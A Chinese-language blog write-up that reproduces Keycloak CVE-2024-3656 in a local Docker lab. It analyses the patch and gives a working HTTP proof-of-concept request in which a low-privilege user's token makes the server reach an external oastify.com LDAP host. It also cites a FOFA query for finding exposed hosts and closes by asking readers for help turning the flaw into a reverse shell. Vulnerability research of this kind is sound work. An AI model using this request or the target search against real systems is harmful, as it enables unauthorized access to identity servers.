今天刚好闲着没事,逛了一下推特,刚好看到一个漏洞有关Keycloak,已经有漏洞编号了:CVE-2024-3656
漏洞原理
Keycloak < 24.0.5 容易受到 Broken Access Control 漏洞的攻击,攻击者可以使用任何经过身份验证的用户来执行某些 api 操作,例如:
通过 testLDAPConnection 端点测试 LDAP 连接,攻击者可以与外部主机的 LDAP 交互。
漏洞影响
影响数量巨大,在FOFA上发现了 101k+ 结果
FOFA 查询:app=“KEYCLOAK-IAS”,不过好在该漏洞需要先获取一个普通用户权限,所以受影响用户首先对账号进行安全管理,确保不存在弱口令,有条件的用户可以进行升级处理
该漏洞在野外被积极利用,并已集成到 Patrowl 中
漏洞复现过程
按照推特的指引,我们找到了这个漏洞的相关信息,开源产品,可以有多种方法搭建相关环境,当然,我们选择最简单的,使用docker 一键搭建
我们选择24.0.4的版本进行下载
https://quay.io/repository/keycloak/keycloak?tab=tags
拉取镜像文件
docker pull quay.io/keycloak/keycloak:24.0.4
启动环境
docker run -e KEYCLOAK_ADMIN=admin -e KEYCLOAK_ADMIN_PASSWORD=123#$%adH -p 8080:8080 quay.io/keycloak/keycloak:24.0.4 start-dev
访问站点会自动跳转到登陆页面:
http://192.168.19.159:8080/
成功登陆
接下来看下漏洞具体原因,根据GitHub仓库提交的信息
https://github.com/keycloak/keycloak/commit/d9f0c84b797525eac55914db5f81a8133ef5f9b1
查看更新信息,有3个文件已被修改:
TestLdapConnectionResource.java
UserResource.java
ClientRegistrationPolicyResource.java
仔细分析 TestLdapConnectionResource.java 中的代码更改:
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
} catch(Exception e) {
String errorMsg = LDAPServerCapabilitiesManager.getErrorCode(e);
throw ErrorResponse.error(errorMsg, Response.Status.BAD_REQUEST);
}
}
}
修复后的代码auth.realm().requireManageRealm(); 增加了认证,说明了需要具有管理者权限的用户才能调用这个调用 testLDAPConnection接口。这样可以说明在未修复之前,在realm的普通用户应该是可以调用这个接口的
public Response testLDAPConnection(TestLdapConnectionRepresentation config) {
auth.realm().requireManageRealm(); // Added permission check
try {
LDAPServerCapabilitiesManager.testLDAP(config, session, realm);
return Response.noContent().build();
}
// Exception handling...
}
我们看下这个接口传递的参数是什么:TestLdapConnectionRepresentation config
根据这个信息我们可以在Keycloak仓库全局搜一下这个关键字
:TestLdapConnectionRepresentation
找到了,进去看看
可以看到需要传递的参数为action, connectionUrl, bindDn, bindCredential, useTruststoreSpi, connectionTimeout都为string类型
public TestLdapConnectionRepresentation(String action, String connectionUrl, String bindDn, String bindCredential, String useTruststoreSpi, String connectionTimeout) {
this(action, connectionUrl, bindDn, bindCredential, useTruststoreSpi, connectionTimeout, null, null, null);
}
接下来复现漏洞需要创建一个realm
在realm创建个普通用户测试看看
创建完,需要设置密码
重新打开站点,进入到guestrealm(刚才创建的realm),使用刚才创建的用户登陆
http://192.168.19.159:8080/realms/guestrealm/protocol/openid-connect/auth?client_id=account-console
成功登陆后,能成功跳转到这个页面即为成功
接下来将流量代理到burp中,刷新一下界面,自动获取
authorization: Bearer 认证信息
找到请求为xxxx/protocol/openid-connect/token的流量,查看响应,响应里面的access_token的信息就是我们需要获取的(具有时效性,会失效,需要重新获取)
发送数据包,替换authorization: Bearer 的值,connectionUrl的值即可
POST /admin/realms/guestrealm/testLDAPConnection HTTP/1.1
Host: 192.168.19.159:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
content-type: application/json
authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICJsUGRCVl9GaU1TUmFWZ002YUZiWTEzU2RGX2Fkd201TTFZZHNTSm54NXFVIn0.eyJleHAiOjE3MjkxNTk1NTEsImlhdCI6MTcyOTE1OTI1MSwiYXV0aF90aW1lIjoxNzI5MTU3MTYwLCJqdGkiOiJlZDA4NjJhZS03NzdhLTQzYTQtYmQzNy1jMjhlZjYxMWVkZjIiLCJpc3MiOiJodHRwOi8vMTkyLjE2OC4xOS4xNTk6ODA4MC9yZWFsbXMvZ3Vlc3RyZWFsbSIsImF1ZCI6ImFjY291bnQiLCJzdWIiOiJjN2VlZGYxZC1iN2QxLTQ4MzYtOTVhMC0xNTc0NTdjYzJmZTYiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiJhY2NvdW50LWNvbnNvbGUiLCJub25jZSI6IjY3ZmIxZTI2LWI2OTctNDNlYS04YWE4LWYyMWE2YTllZTI4NiIsInNlc3Npb25fc3RhdGUiOiJhZDJlMzI1ZC05MzEwLTRjMmMtOTI1OC01YWY3ZDYzY2M2ZTEiLCJhY3IiOiIwIiwicmVzb3VyY2VfYWNjZXNzIjp7ImFjY291bnQiOnsicm9sZXMiOlsibWFuYWdlLWFjY291bnQiLCJtYW5hZ2UtYWNjb3VudC1saW5rcyJdfX0sInNjb3BlIjoib3BlbmlkIGVtYWlsIHByb2ZpbGUiLCJzaWQiOiJhZDJlMzI1ZC05MzEwLTRjMmMtOTI1OC01YWY3ZDYzY2M2ZTEiLCJlbWFpbF92ZXJpZmllZCI6ZmFsc2UsIm5hbWUiOiJndWVzdCBndWVzdCIsInByZWZlcnJlZF91c2VybmFtZSI6Imd1ZXN0IiwiZ2l2ZW5fbmFtZSI6Imd1ZXN0IiwiZmFtaWx5X25hbWUiOiJndWVzdCIsImVtYWlsIjoiZ3Vlc3RAcXEuY29tIn0.HONCke7YEVE204ruPXGdYL81e1YPHw-f5Je4JaLDsfta7XTiQTSVToe3uDokJT2NaihtJ2ZpBJG_M1uCyZAuSLKyYkItuczKgmug6ExzvJNdCTjNUoPbDETZXQx8UM_v14p0BdakLB8xC3_2Tx9iJGS5yc4_RPypWzzaV7Drzq-SEF8Ch9aBDsWv3A6_A00tABTWi6OOTGl9p-mSdecomckMxAt_gTplHPUk6Qr72AwnEMM7xr_GQ4x2ozciSgE1403Xukpv6i6L0BDyaKj1in5UcMcBJsgemfso5OdNHWI0-OlDf14iacVZT_Zv4YSp_v7j6Cyoq05PQ9_aIcLzBg
Content-Length: 279
{
"action": "testConnection",
"connectionUrl": "ldap://au81uo38t5vxamgnmx284krn7ed518px.oastify.com",
"bindDn": "cn=admin,dc=example,dc=com",
"bindCredential": "password",
"useTruststoreSpi": "ldapsOnly",
"connectionTimeout": "5000"
}
burp上已经接收到dns信息,至此证明漏洞存在
既然存在ldap注入了,我们试试能不能执行命令
使用JNDI-Injection-Exploit工具测试
最后没反应,想起来JNDI-Injection-Exploit工具对受害者机器的JDK版本是有要求的,需要低于jdk 1.8版本
看了目标服务器里面环境,docker环境的里的jdk版本已经到17.0.11版本了
后续使用Marshalse工具进行测试也是不行。目前没有找到合适的方法,有没有懂的老哥分享一下如何进一步执行命令或反弹shell